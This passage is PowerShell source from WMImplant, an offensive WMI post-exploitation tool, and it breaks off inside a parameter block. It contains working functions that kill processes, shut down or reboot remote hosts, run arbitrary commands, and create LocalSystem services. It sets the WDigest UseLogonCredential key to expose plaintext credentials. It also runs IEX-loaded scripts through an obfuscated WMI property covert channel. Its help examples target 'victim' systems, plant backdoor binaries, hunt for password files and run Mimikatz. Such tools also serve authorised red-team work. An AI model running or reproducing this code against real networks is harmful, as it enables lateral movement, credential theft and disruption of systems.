1036 | Write-Verbose "Killing process via process name"
1037 |
1038 | if($Credential)
1039 | {
1040 | Get-WmiObject -Class win32_Process -Credential $Credential -Computername $ComputerName -Filter "name = '$PName'" | ForEach-Object { $_.Terminate() }
1041 | }
1042 | else
1043 | {
1044 | Get-WmiObject -Class win32_Process -Computername $ComputerName -Filter "name = '$PName'" | ForEach-Object { $_.Terminate() }
1045 | }
1046 | }
1047 |
1048 | elseif($ProcID)
1049 | {
1050 | Write-Verbose "Killing process via process ID"
1051 |
1052 | if($Credential)
1053 | {
1054 | Get-WmiObject -Class win32_Process -Credential $Credential -Computername $ComputerName -Filter "ProcessID = '$ProcId'" | ForEach-Object { $_.Terminate() }
1055 | }
1056 | else
1057 | {
1058 | Get-WmiObject -Class win32_Process -Computername $ComputerName -Filter "ProcessID = '$ProcId'" | ForEach-Object { $_.Terminate() }
1059 | }
1060 | }
1061 | }
1062 | end{}
1063 | }
1064 |
1065 | function Invoke-PowerOptionsWMI
1066 | {
1067 | # This function allows users to poweroff, reboot, or log users off the targeted system
1068 | param
1069 | (
1070 | #Parameter assignment
1071 | [Parameter(Mandatory = $False)]
1072 | [System.Management.Automation.PSCredential]$Credential,
1073 | [Parameter(Mandatory = $True)]
1074 | [string]$ComputerName,
1075 | [Parameter(Mandatory = $False, ParameterSetName='shutdown')]
1076 | [switch]$Shutdown,
1077 | [Parameter(Mandatory = $False, ParameterSetName='reboot')]
1078 | [switch]$Reboot,
1079 | [Parameter(Mandatory = $False, ParameterSetName='logoff')]
1080 | [switch]$Logoff
1081 | )
1082 |
1083 | Process
1084 | {
1085 | if(!$Shutdown -and !$Reboot -and !$Logoff)
1086 | {
1087 | $Action = Read-Host "Are you looking to [reboot], [shutdown], or [logoff] users on the target system? >"
1088 | $Action = $Action.Trim().ToLower()
1089 |
1090 | switch($Action)
1091 | {
1092 | "reboot"
1093 | {
1094 | $Reboot = $true
1095 | }
1096 |
1097 | "shutdown"
1098 | {
1099 | $Shutdown = $true
1100 | }
1101 |
1102 | "logoff"
1103 | {
1104 | $Logoff = $true
1105 | }
1106 | }
1107 | }
1108 |
1109 | if($Shutdown)
1110 | {
1111 | $power_option = 5
1112 | }
1113 | elseif($Reboot)
1114 | {
1115 | $power_option = 6
1116 | }
1117 | elseif($Logoff)
1118 | {
1119 | $power_option = 4
1120 | }
1121 |
1122 | Write-Verbose "Connecting to $ComputerName"
1123 |
1124 | if($Credential)
1125 | {
1126 | (gwmi win32_operatingsystem -Credential $Credential -ComputerName $ComputerName).Win32Shutdown($power_option)
1127 | }
1128 | else
1129 | {
1130 | (gwmi win32_operatingsystem -ComputerName $ComputerName).Win32Shutdown($power_option)
1131 | }
1132 | }
1133 | end{}
1134 | }
1135 |
1136 | function Invoke-ProcSpawn
1137 | {
1138 | # This function starts a user provided process on the targeted system
1139 | # (File/executable must already be on the system)
1140 | param
1141 | (
1142 | #Parameter assignment
1143 | [Parameter(Mandatory = $False)]
1144 | [System.Management.Automation.PSCredential]$Credential,
1145 | [Parameter(Mandatory = $True)]
1146 | [string]$ComputerName,
1147 | [Parameter(Mandatory = $False)]
1148 | [string]$Command
1149 | )
1150 |
1151 | Process
1152 | {
1153 |
1154 | if(!$Command)
1155 | {
1156 | $Command = Read-Host "What command do you want to run? >"
1157 | $Command = $Command.Trim()
1158 | }
1159 |
1160 | if($Credential)
1161 | {
1162 | Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command -Credential $Credential -Computername $ComputerName
1163 | }
1164 |
1165 | else
1166 | {
1167 | Invoke-WmiMethod -class win32_process -name create -Argumentlist $Command -Computername $ComputerName
1168 | }
1169 | }
1170 |
1171 | end{}
1172 | }
1173 |
1174 | function Invoke-RegValueMod
1175 | {
1176 | # This function allows you to modify the registry on a remote system. At the moment, it's
1177 | # largely constrained to STRING type mods, although this is beginning to expand
1178 | param
1179 | (
1180 | #Parameter assignment
1181 | [Parameter(Mandatory = $False)]
1182 | [System.Management.Automation.PSCredential]$Credential,
1183 | [Parameter(Mandatory = $True)]
1184 | [string]$ComputerName,
1185 | [Parameter(Mandatory = $False)]
1186 | [switch]$KeyCreate,
1187 | [Parameter(Mandatory = $False)]
1188 | [switch]$KeyDelete,
1189 | [Parameter(Mandatory = $False)]
1190 | [string]$RegHive,
1191 | [Parameter(Mandatory = $False)]
1192 | [string]$RegKey,
1193 | [Parameter(Mandatory = $False)]
1194 | [string]$RegSubKey,
1195 | [Parameter(Mandatory = $False)]
1196 | [string]$RegValue
1197 | )
1198 |
1199 | Process
1200 | {
1201 | $hklm = 2147483650
1202 | $hkcu = 2147483649
1203 | $hkcr = 2147483648
1204 | $hkusers = 2147483651
1205 | $hkcurrentconfig = 2147483653
1206 |
1207 | if(!$RegHive)
1208 | {
1209 | $RegHive = Read-Host "What hive would you like to modify? Ex: hklm >"
1210 | $RegHive = $RegHive.Trim().ToLower()
1211 |
1212 | switch($RegHive.ToLower())
1213 | {
1214 | "hklm"
1215 | {
1216 | $hivevalue = $hklm
1217 | }
1218 |
1219 | "hkcu"
1220 | {
1221 | $hivevalue = $hkcu
1222 | }
1223 |
1224 | "hkcr"
1225 | {
1226 | $hivevalue = $hkcr
1227 | }
1228 |
1229 | "hkusers"
1230 | {
1231 | $hivevalue = $hkusers
1232 | }
1233 |
1234 | "hkcurrentconfig"
1235 | {
1236 | $hivevalue = $hkcurrentconfig
1237 | }
1238 |
1239 | default
1240 | {
1241 | $hivevalue = $hkcu
1242 | }
1243 | }
1244 | }
1245 | else
1246 | {
1247 | switch($RegHive.ToLower())
1248 | {
1249 | "hklm"
1250 | {
1251 | $hivevalue = $hklm
1252 | }
1253 |
1254 | "hkcu"
1255 | {
1256 | $hivevalue = $hkcu
1257 | }
1258 |
1259 | "hkcr"
1260 | {
1261 | $hivevalue = $hkcr
1262 | }
1263 |
1264 | "hkusers"
1265 | {
1266 | $hivevalue = $hkusers
1267 | }
1268 |
1269 | "hkcurrentconfig"
1270 | {
1271 | $hivevalue = $hkcurrentconfig
1272 | }
1273 |
1274 | default
1275 | {
1276 | $hivevalue = $hkcu
1277 | }
1278 | }
1279 | }
1280 |
1281 | if(!$RegKey)
1282 | {
1283 | $RegKey = Read-Host "What's the registry key you'd like to modify? Ex: SOFTWARE\Microsoft\Windows >"
1284 | }
1285 |
1286 | if(!$RegSubKey)
1287 | {
1288 | $RegSubKey = Read-Host "What's the registry Sub Key you'd like to modify? Ex: WMImplantInstalled >"
1289 | }
1290 |
1291 | if ((!$KeyCreate) -and (!$KeyDelete))
1292 | {
1293 | $question = Read-Host "Do you want to [create] or [delete] a key? >"
1294 | $question = $question.Trim().ToLower()
1295 |
1296 | if($question.ToLower() -eq "create")
1297 | {
1298 | $KeyCreate = $True
1299 | }
1300 | else
1301 | {
1302 | $KeyDelete = $True
1303 | }
1304 | }
1305 |
1306 | if($KeyCreate)
1307 | {
1308 | if(!$RegValue)
1309 | {
1310 | $RegValue = Read-Host "What's the data you'd like for the registry value being modified? >"
1311 | }
1312 |
1313 | if($Credential)
1314 | {
1315 | if($RegSubKey -eq "UseLogonCredential" -or $RegSubKey -eq "AllowAutoConfig")
1316 | {
1317 | Invoke-WmiMethod -Class StdRegProv -Name SetDWORDValue -ArgumentList @($hivevalue, $RegKey, $RegSubKey, 1) -ComputerName $ComputerName -Credential $Credential
1318 | }
1319 | else
1320 | {
1321 | Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgmuentList $hivevalue, $RegKey, $RegValue, $RegSubKey -ComputerName $ComputerName -Credential $Credential
1322 | }
1323 | }
1324 |
1325 | else
1326 | {
1327 | if($RegSubKey -eq "UseLogonCredential" -or $RegSubKey -eq "AllowAutoConfig")
1328 | {
1329 | Invoke-WmiMethod -Class StdRegProv -Name SetDWORDValue -ArgumentList @($hivevalue, $RegKey, $RegSubKey, 1) -ComputerName $ComputerName
1330 | }
1331 | else
1332 | {
1333 | Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgumentList $hivevalue, $RegKey, $RegValue, $RegSubKey -ComputerName $ComputerName
1334 | }
1335 | }
1336 | }
1337 |
1338 | elseif($KeyDelete)
1339 | {
1340 | if($Credential)
1341 | {
1342 | Invoke-WmiMethod -Class StdRegProv -Name DeleteValue -ArgumentList $hivevalue, $RegKey, $RegSubKey -ComputerName $ComputerName -Credential $Credential
1343 | }
1344 |
1345 | else
1346 | {
1347 | Invoke-WmiMethod -Class StdRegProv -Name DeleteValue -ArgumentList $hivevalue, $RegKey, $RegSubKey -ComputerName $ComputerName
1348 | }
1349 | }
1350 | }
1351 | end{}
1352 | }
1353 |
1354 | function Invoke-RemoteScriptWithOutput
1355 | {
1356 | # This function will start a new PowerShell process on the targeted system, IEX load a user specified script,
1357 | # run the user specified function, store the output, and retrieve the output
1358 | param
1359 | (
1360 | [Parameter(Mandatory = $False)]
1361 | [System.Management.Automation.PSCredential]$Credential,
1362 | [Parameter(Mandatory = $True)]
1363 | [string]$ComputerName,
1364 | [Parameter(Mandatory = $False)]
1365 | [string]$Location,
1366 | [Parameter(Mandatory = $False)]
1367 | [string]$Function
1368 | )
1369 |
1370 | Process
1371 | {
1372 | if(!$Location)
1373 | {
1374 | $Location = Read-Host "Please provide the full path to the local PowerShell script you'd like to run on the target >"
1375 | $Location = $Location.Trim()
1376 | }
1377 |
1378 | if(!$Function)
1379 | {
1380 | $Function = Read-Host "Please provide the PowerShell function you'd like to run >"
1381 | $Function = $Function.Trim()
1382 | }
1383 |
1384 | # Saving original WMI Property value
1385 | if($Credential)
1386 | {
1387 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential).DebugFilePath
1388 | }
1389 | else
1390 | {
1391 | $Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName).DebugFilePath
1392 | }
1393 |
1394 | # Read in and store the script to run
1395 | $script_to_run = Get-Content -Encoding byte -Path $Location
1396 | $encoded_script = [Int[]][Char[]]$script_to_run -Join ','
1397 |
1398 | if($Credential)
1399 | {
1400 | $modify_wmi_prop = Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential
1401 | }
1402 | else
1403 | {
1404 | $modify_wmi_prop = Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName
1405 | }
1406 | $modify_wmi_prop.DebugFilePath = $encoded_script
1407 | $null = $modify_wmi_prop.Put()
1408 |
1409 | Write-Verbose "Building PowerShell command"
1410 | # Separating the commands out to make it a little easier to view/understand what is happening
1411 | $remote_command = '$a = Get-WMIObject -Class Win32_OSRecoveryConfiguration; $a = [char[]][int[]]$a.DebugFilePath.Split('','') -Join ''''; $a | .(-Join[char[]]@(105,101,120));'
1412 | $remote_command += '$output = '
1413 | $remote_command += "($Function | Out-String).Trim();"
1414 | $remote_command += ' $EncodedText = [Int[]][Char[]]$output -Join '','';'
1415 | $remote_command += ' $a = Get-WMIObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $EncodedText; $a.Put()'
1416 |
1417 | Write-Verbose "Running command on remote system..."
1418 |
1419 | if($Credential)
1420 | {
1421 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
1422 | }
1423 | else
1424 | {
1425 | Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
1426 | }
1427 |
1428 | # Poll remote system, and determine if the script is done
1429 | # If not, sleep and poll again
1430 | $quit = $false
1431 | while($quit -eq $false)
1432 | {
1433 | Write-Verbose "Polling property to see if the script has completed"
1434 | if($Credential)
1435 | {
1436 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential
1437 | }
1438 | else
1439 | {
1440 | $modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName
1441 | }
1442 |
1443 | try
1444 | {
1445 | if($encoded_script -eq $modified_WMIObject.DebugFilePath)
1446 | {
1447 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
1448 | Start-Sleep -s 5
1449 | }
1450 | else
1451 | {
1452 | Write-Verbose "Script is complete, pulling data now"
1453 | $quit = $true
1454 | }
1455 | }
1456 | catch
1457 | {
1458 | Write-Verbose "Script is not done, sleeping for 5 and trying again"
1459 | Start-Sleep -s 5
1460 | }
1461 | }
1462 |
1463 | $decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
1464 | # Print to console
1465 | $decode
1466 |
1467 | # Replacing original WMI property value from remote system
1468 | Write-Verbose "Replacing original WMI property value from remote system"
1469 | $modified_WMIObject.DebugFilePath = $Original_WMIProperty
1470 | $null = $modified_WMIObject.Put()
1471 |
1472 | Write-Verbose "Done!"
1473 | }
1474 | }
1475 |
1476 | function Invoke-ServiceMod
1477 | {
1478 | # This script allows users to start, stop, create, and delete services on the targeted host
1479 | param
1480 | (
1481 | [Parameter(Mandatory = $False)]
1482 | [System.Management.Automation.PSCredential]$Credential,
1483 | [Parameter(Mandatory = $True)]
1484 | [string]$ComputerName,
1485 | [Parameter(Mandatory = $False)]
1486 | [string]$Service,
1487 | [Parameter(Mandatory = $False)]
1488 | [switch]$Start,
1489 | [Parameter(Mandatory = $False)]
1490 | [switch]$Stop,
1491 | [Parameter(Mandatory = $False)]
1492 | [switch]$Create,
1493 | [Parameter(Mandatory = $False)]
1494 | [string]$NewServiceName,
1495 | [Parameter(Mandatory = $False)]
1496 | [string]$NewServicePath,
1497 | [Parameter(Mandatory = $False)]
1498 | [switch]$Delete
1499 | )
1500 |
1501 | Process
1502 | {
1503 | if(!$Start -and !$Stop -and !$Delete -and !$Create)
1504 | {
1505 | $ServiceGoal = Read-Host "Do you want to [stop], [start], [delete], or [create] a service? >"
1506 | $ServiceGoal = $ServiceGoal.Trim().ToLower()
1507 |
1508 | switch($ServiceGoal)
1509 | {
1510 | "start"
1511 | {
1512 | $Start = $true
1513 | }
1514 |
1515 | "stop"
1516 | {
1517 | $Stop = $true
1518 | }
1519 |
1520 | "delete"
1521 | {
1522 | $Delete = $true
1523 | }
1524 |
1525 | "create"
1526 | {
1527 | $Create = $true
1528 | }
1529 | }
1530 | }
1531 |
1532 | if ($Start -or $Stop -or $Delete)
1533 | {
1534 | if(!$Service)
1535 | {
1536 | $Service = Read-Host "What is the name of the service you are targeting? >"
1537 | $Service = $Service.Trim()
1538 | }
1539 |
1540 | $filter = "name='$Service'"
1541 |
1542 | if($Credential)
1543 | {
1544 | $SystemService = Get-WmiObject -class win32_service -ComputerName $ComputerName -Filter $filter -Credential $Credential
1545 | }
1546 | else
1547 | {
1548 | $SystemService = Get-WmiObject -class win32_service -ComputerName $ComputerName -Filter $filter
1549 | }
1550 | if($Start)
1551 | {
1552 | $SystemService.StartService()
1553 | }
1554 | elseif($Stop)
1555 | {
1556 | $SystemService.StopService()
1557 | }
1558 | elseif($Delete)
1559 | {
1560 | $SystemService.Delete()
1561 | }
1562 | }
1563 | elseif($Create)
1564 | {
1565 | if(!$NewServiceName)
1566 | {
1567 | $NewServiceName = Read-Host "Please provide the name for the service you'd like to create. >"
1568 | $NewServiceName = $NewServiceName.Trim()
1569 | }
1570 |
1571 | if(!$NewServicePath)
1572 | {
1573 | $NewServicePath = Read-Host "Please provide the path to your new service binary. >"
1574 | $NewServicePath = $NewServicePath.Trim()
1575 | }
1576 |
1577 | $args = $false,$NewServiceName,0,$null,$null,$NewServiceName,$NewServicePath,$null,16,"Automatic","LocalSystem",$null
1578 |
1579 | if($Credential)
1580 | {
1581 | Invoke-WmiMethod -path Win32_Service -Name create -argumentlist $args -ComputerName $ComputerName -Credential $Credential
1582 | }
1583 | else
1584 | {
1585 | Invoke-WmiMethod -path Win32_Service -Name create -argumentlist $args -ComputerName $ComputerName
1586 | }
1587 | }
1588 | }
1589 | end{}
1590 | }
1591 |
1592 | function Invoke-WMImplant
1593 | {
1594 | <#
1595 | .SYNOPSIS
1596 | This function starts all of WMImplant and is designed to display the main menu.
1597 |
1598 | .DESCRIPTION
1599 | This is the main WMImplant function. When calling Invoke-WMImplant you will be presented with the main menu.
1600 |
1601 | .DESCRIPTION
1602 | This parameter is used to start WMImplant in an interactive manner. This is done by default, unless specifying a command
1603 |
1604 | .PARAMETER RemoteUser
1605 | Specify a username. Default is the current user context. This user is used to connect to remote systems.
1606 |
1607 | .PARAMETER RemotePass
1608 | Specify the password for the appropriate user. This is the password for the account used to connect to remote systems.
1609 |
1610 | .PARAMETER ListCommands
1611 | List the available commands within WMImplant.
1612 |
1613 | .PARAMETER LocalFile
1614 | This parameter is used when user's need to provide the path to a file locally for interaction (uploading a local file or providing a path to download a file to locally), or when saving event log information locally.
1615 |
1616 | .PARAMETER RemoteFile
1617 | This parameter is used when user's need to provide the path to a file remotely for interaction (downloading a remote file or providing a path to upload a file to) or when needing to specify a directory (such as a directory where you want to list all its contents).
1618 |
1619 | .PARAMETER RemoteDirectory
1620 | This parameter is used when specifying a directory for listing its contents
1621 |
1622 | .PARAMETER RemoteDrive
1623 | This parameter is used when you need to specify a drive to search on a remote system.
1624 |
1625 | .PARAMETER RemoteCommand
1626 | This parameter is used to specify a command to run on a remote system.
1627 |
1628 | .PARAMETER RemoteExtension
1629 | This parameter is used when you need to specify a file extension to search for on a remove machine.
1630 |
1631 | .PARAMETER ComputerName
1632 | This parameter specifies the system to execute the WMImplant command on.
1633 |
1634 | .PARAMETER Function
1635 | This parameter specifies the function to run when remotely running PowerShell
1636 |
1637 | .PARAMETER ProcessName
1638 | This parameter specifies the process name when killing a process by name.
1639 |
1640 | .PARAMETER ProcessID
1641 | This parameter specifies the process ID to use when killing a process by ID.
1642 |
1643 | .PARAMETER ServiceStart
1644 | This parameter specifies that a service will be started.
1645 |
1646 | .PARAMETER ServiceStop
1647 | This parameter specifies that a service will be stopped.
1648 |
1649 | .PARAMETER ServiceCreate
1650 | This parameter specifies that a service will be create.
1651 |
1652 | .PARAMETER ServiceDelete
1653 | This parameter specifies that a service will be deleted.
1654 |
1655 | .PARAMETER ServiceName
1656 | This parameter specifies the name of the service when one is being created.
1657 |
1658 | .PARAMETER RemoteID
1659 | This parameter can be used to specify a Job ID for deletion.
1660 |
1661 | .PARAMETER Time
1662 | This parameter can be used to specify the time (Ex: 15:35).
1663 |
1664 | .PARAMETER RegMethod
1665 | This parameter specifies if you are creating or deleting a registry value.
1666 |
1667 | .PARAMETER RegHive
1668 | This parameter specifies the registry hive you will use (between hklm and hkcu).
1669 |
1670 | .PARAMETER RegKey
1671 | This parameter specifies the registry key that will be modified.
1672 |
1673 | .PARAMETER RegSubKey
1674 | This parameter specifies the registry sub key that will be modified.
1675 |
1676 | .PARAMETER RegValue
1677 | This parameter contains the data that's added to a registry value when it is created.
1678 |
1679 | .PARAMETER KeyCreate
1680 | This parameter specifies that a registry key will be deleted.
1681 |
1682 | .PARAMETER KeyDelete
1683 | This parameter specifies that a registry key will be created.
1684 |
1685 | .PARAMETER Cat
1686 | This parameter specifies that WMImplant will read the contents of the specified file.
1687 |
1688 | .PARAMETER Copy
1689 | This parameter specifies that WMImplant will copy a file from one location to another.
1690 |
1691 | .PARAMETER Download
1692 | This parameter specifies that WMImplant will download a specified file.
1693 |
1694 | .PARAMETER Upload
1695 | This parameter specifies that WMImplant will upload a specified file.
1696 |
1697 | .PARAMETER CommandExec
1698 | This parameter specifies that WMImplant will run a command and return the output.
1699 |
1700 | .PARAMETER DisableWDigest
1701 | This parameter specifies that WMImplant will remove the UseLogonCredential registry key from the targeted system.
1702 |
1703 | .PARAMETER DisableWinRM
1704 | This parameter will have WMImplant attempt to force disable WinRM on the targeted system.
1705 |
1706 | .PARAMETER EnableWdigest
1707 | This parameter will have WMImplant set the UseLogonCredential registry key on the targeted system
1708 |
1709 | .PARAMETER EnableWinRM
1710 | This parameter will have WMImplant attempt to force enable WinRM on the targeted system.
1711 |
1712 | .PARAMETER RemotePosh
1713 | This parameter will tell WMImplant to run a PowerShell command on the targeted system
1714 |
1715 | .PARAMETER SetWMIDefault
1716 | This parameter sets the DebugFilePath property back to the default MS value.
1717 |
1718 | .PARAMETER PS
1719 | This parameter specifies that WMImplant will perform a process listing on the targeted system
1720 |
1721 | .PARAMETER ProcessKill
1722 | This parameter specifies that WMImplant will kill a process on the targeted system.
1723 |
1724 | .PARAMETER ProcessStart
1725 | This parameter specifies that WMImplant will start a process on the targeted system.
1726 |
1727 | .PARAMETER ActiveUsers
1728 | This parameter specifies that WMImplant will pull user accounts with active processes on the targeted system.
1729 |
1730 | .PARAMETER BasicInfo
1731 | This parameter specifies that WMImplant will retrieve basic information about the targeted system.
1732 |
1733 | .PARAMETER DriveList
1734 | This parameter specifies that WMImplant will pull a listing of drives from the targeted system.
1735 |
1736 | .PARAMETER IFConfig
1737 | This parameter specifies that WMImplant will pull NICs with active connections on the targeted system.
1738 |
1739 | .PARAMETER InstalledPrograms
1740 | This parameter directs WMImplant to retrieve a list of the programs installed on the targeted system.
1741 |
1742 | .PARAMETER VacantSystem
1743 | This parameter directs WMImplant to try to determine if a user is active at the targeted system, or is they are afk.
1744 |
1745 | .PARAMETER LogonEvents
1746 | This parameter directs WMImplant to pull a list of user accounts that log into the targeted system.
1747 |
1748 | .PARAMETER LogOff
1749 | This paremeter directs WMImplant to log users off the targeted system.
1750 |
1751 | .PARAMETER Reboot
1752 | This parameter directs WMImplant to reboot the targeted system.
1753 |
1754 | .PARAMETER PowerOff
1755 | This parameter directs WMImplant to shut down the targeted system.
1756 |
1757 | .PARAMETER Location
1758 | This parameter specifies the path to the PowerShell script you will run on the targeted system.
1759 |
1760 | .EXAMPLE
1761 | > Invoke-WMImplant
1762 | This will run the main menu and allow for easy interaction
1763 |
1764 | .EXAMPLE
1765 | > Invoke-WMImplant -ListCommands
1766 | This will list all available commands supported within WMImplant.
1767 |
1768 | .EXAMPLE
1769 | > Invoke-WMImplant -Cat -RemoteUser Chris -RemotePass Pass123 -RemoteFile C:\Users\Chris\Desktop\secrets.txt -ComputerName windowspc
1770 | This command uses the "cat" command, and attempts to read the secrets.txt file with the provided username and password on the windowspc system
1771 |
1772 | .EXAMPLE
1773 | > Invoke-WMImplant -Cat -RemoteFile C:\Users\Chris\Desktop\pass.txt -ComputerName windowspc
1774 | This command uses the "cat" command, and attempts to read the pass.txt file within the context of the current user on the windowspc system
1775 |
1776 | .EXAMPLE
1777 | > Invoke-WMImplant -Upload -LocalFile C:\notavirus.exe -RemoteUser Chris -RemotePass pass123 -RemoteFile C:\Windows\TEMP\safe.exe -ComputerName securewindows
1778 | This command uploads the C:\notavirus.exe file locally to the securewindows system at C:\Windows\TEMP\safe.exe and authenticates to the remote system with the Chris account and the target downloads it from local systme using the King account.
1779 |
1780 | .EXAMPLE
1781 | > Invoke-WMImplant -Download -RemoteFile C:\passwords.txt -LocalFile C:\Users\Chris\Downloads\passwords.txt -ComputerName mysystem
1782 | This command attempts to download the file C:\passwords.txt on the remote system "mysystem" locally to C:\Users\Chris\Downloads\passwords.txt. It authenticates to the remote machine (to download the file) using the current user's context, and then is downloaded localy.
1783 |
1784 | .EXAMPLE
1785 | > Invoke-WMImplant -LS -RemoteFile C:\Users\Chris\Downloads -ComputerName win7computer
1786 | This command will get a directory list of all files within C:\Users\Chris\Downloads on the "win7computer" system under the current user's context.
1787 |
1788 | .EXAMPLE
1789 | > Invoke-WMImplant -Search -RemoteFile password.txt -Drive C: -ComputerName chrispc -RemoteUser homedomain\Chris -RemotePass pass123
1790 | This command searches the remote system "chrispc" for any file called password.txt on the C drive and authenticates using the credentials provided.
1791 |
1792 | .EXAMPLE
1793 | > Invoke-WMImplant -Search -RemoteExtension sql -Drive C: -ComputerName computer2
1794 | This command uses the current user's context to search the "computer2" system for any file on the C drive that has a "sql" file extension.
1795 |
1796 | .EXAMPLE
1797 | > Invoke-WMImplant -Remote_Posh -Location C:\test.ps1 -Function Invoke-Mimikatz -ComputerName win7sys -RemoteUser test\admin -Pass admin123
1798 | This command authenticates to the remote system using the provided admin account, downloads the test.ps1 script in memory and runs Invoke-Mimikatz, and returns the output to the local system over WMI.
1799 |
1800 | .EXAMPLE
1801 | > Invoke-WMImplant -PS -RemoteUser test\apple -RemotePass pass123 -ComputerName hackerpc
1802 | This command gets a process listing on the system "hackerpc" by authenticating as the apple user
1803 |
1804 | .EXAMPLE
1805 | > Invoke-WMImplant -ProcessKill -ProcessID 1194 -ComputerName sys3
1806 | This command kills process id 1194 on the "sys3" system and authenticates with the current user's context
1807 |
1808 | .EXAMPLE
1809 | > Invoke-WMImplant -ProcessKill -ProcessName systemexplorer.exe -ComputerName win7 -RemoteUser internal\admin -RemotePass pass123
1810 | This command kills the remote process "systemexplorer.exe" on the system "win7" and authenticates as the "admin" user.
1811 |
1812 | .EXAMPLE
1813 | > Invoke-WMImplant -ProcessStart -RemoteFile notepad.exe -ComputerName victimsys
1814 | This command authenticates to the "victimsys" system under the current user's context and starts the process notepad.exe
1815 |
1816 | .EXAMPLE
1817 | > Invoke-WMImplant -ProcessStart -RemoteFile C:\notabackdoor.exe -ComputerName victim2 -RemoteUser inside\goodadmin -RemotePass pass222
1818 | This command authenticates to the "victim2" system as the user "goodadmin" and runs the binary located at C:\notabackdoor.exe
1819 |
1820 | .EXAMPLE
1821 | > Invoke-WMImplant -ActiveUsers -ComputerName winadmin
1822 | This command displays any user that has a process running on the "winadmin" system via the current user's context
1823 |
1824 | .EXAMPLE
1825 | > Invoke-WMImplant -VacantSystem -ComputerName victim9 -RemoteUser owned\chris -RemotePass badpass
1826 | This command attempts to determine if a user is active at the "victim9" system by searching for active screensavers and a logon prompt and authenticates as the user "chris"
1827 |
1828 | .EXAMPLE
1829 | > Invoke-WMImplant -DriveList -ComputerName victim101
1830 | This command authenticates to the victim101 system in the context of the current user and lists all drives connected to the system
1831 |
1832 | .EXAMPLE
1833 | > Invoke-WMImplant -Reboot -ComputerName victom3
1834 | This command reboots the "victom3" system
1835 |
1836 | .EXAMPLE
1837 | > Invoke-WMImplant -PowerOff -ComputerName victim9 -RemoteUser domain\user -RemotePass pass123
1838 | This command powers off the "victim9" and authenticates as the provided user and password.
1839 |
1840 | .EXAMPLE
1841 | > Invoke-WMImplant -KeyCreate -Hive hklm -RegKey SOFTWARE\Microsoft\Windows\DWM -RegSubKey ChrisTest -RegValue "True" -ComputerName win7user -RemoteUser test\chris -RemotePass pass123
1842 | This command authenticates to the win7user system using the provided credentials and creates the ChrisTest value located at HKLM:\SOFTWARE\Microsoft\Windows\DWM
1843 |
1844 | .EXAMPLE
1845 | > Invoke-WMImplant -KeyDelete -Hive hklm -RegKey SOFTWARE\Microsoft\Windows\DWM -RegSubKey ChrisTest2 -ComputerName Win7user4
1846 | This command authenticates as the current user to the win7user4 system and delete's the ChrisTest2 value located at HKLM:\SOFTWARE\Microsoft\Windows\DWM
1847 | #>
1848 |
1849 | [CmdletBinding(DefaultParameterSetName="Interactive")]
1850 |
1851 | param
1852 | (
1853 | #Parameter assignment
1854 | [Parameter(Mandatory = $False, ParameterSetName='Interactive')]
1855 | [switch]$Interactive,
1856 | [Parameter(Mandatory = $False, ParameterSetName='List Commands')]
1857 | [switch]$ListCommands,
1858 | [Parameter(Mandatory = $False)]
1859 | [string]$RemoteUser,
1860 | [Parameter(Mandatory = $False)]
1861 | [string]$RemotePass,
1862 | [Parameter(Mandatory = $False, ParameterSetName='Download File')]
1863 | [Parameter(ParameterSetName='Upload File')]
1864 | [Parameter(ParameterSetName='Logon Events')]
1865 | [Parameter(ParameterSetName='Copy File')]
1866 | [Parameter(ParameterSetName='Delete File')]
1867 | [string]$LocalFile,
1868 | [Parameter(Mandatory = $False, ParameterSetName='Read File')]
1869 | [Parameter(ParameterSetName='Upload File')]
1870 | [Parameter(ParameterSetName='Download File')]
1871 | [Parameter(ParameterSetName='File Search Name')]
1872 | [Parameter(ParameterSetName='Process Start')]
1873 | [Parameter(ParameterSetName='Copy File')]
1874 | [string]$RemoteFile,
1875 | [Parameter(ParameterSetName='Directory Listing')]
1876 | [string]$RemoteDirectory,
1877 | [Parameter(Mandatory = $False, ParameterSetName='File Search Name')]
1878 | [Parameter(ParameterSetName='File Search Extension')]
1879 | [string]$RemoteDrive,
1880 | [Parameter(Mandatory = $False, ParameterSetName='File Search Extension')]
1881 | [string]$RemoteExtension,
1882 | [Parameter(Mandatory = $False, ValueFromPipeLine=$True)]
1883 | [Alias("Target")]
1884 | [string]$ComputerName,
1885 | [Parameter(Mandatory = $False, ParameterSetName='Remote PowerShell')]
1886 | [string]$Function,
1887 | [Parameter(Mandatory = $False, ParameterSetName='Process Kill Name')]
1888 | [string]$ProcessName,
1889 | [Parameter(Mandatory = $False, ParameterSetName='Process Kill ID')]
1890 | [int]$ProcessID,
1891 | [Parameter(Mandatory = $False, ParameterSetName='Service Start')]
1892 | [Parameter(ParameterSetName='Service Stop')]
1893 | [Parameter(ParameterSetName='Service Create')]
1894 | [Parameter(ParameterSetName='Service Delete')]
1895 | [string]$ServiceName,
1896 | [Parameter(Mandatory = $False, ParameterSetName='Service Start')]
1897 | [switch]$ServiceStart,
1898 | [Parameter(Mandatory = $False, ParameterSetName='Service Stop')]
1899 | [switch]$ServiceStop,
1900 | [Parameter(Mandatory = $False, ParameterSetName='Service Create')]
1901 | [switch]$ServiceCreate,
1902 | [Parameter(Mandatory = $False, ParameterSetName='Service Delete')]
1903 | [switch]$ServiceDelete,
1904 | [Parameter(Mandatory = $False, ParameterSetName='Create Reg Key')]
1905 | [Parameter(ParameterSetName='Delete Reg Key')]
1906 | [string]$RegKey,
1907 | [Parameter(Mandatory = $False, ParameterSetName='Create Reg Key')]
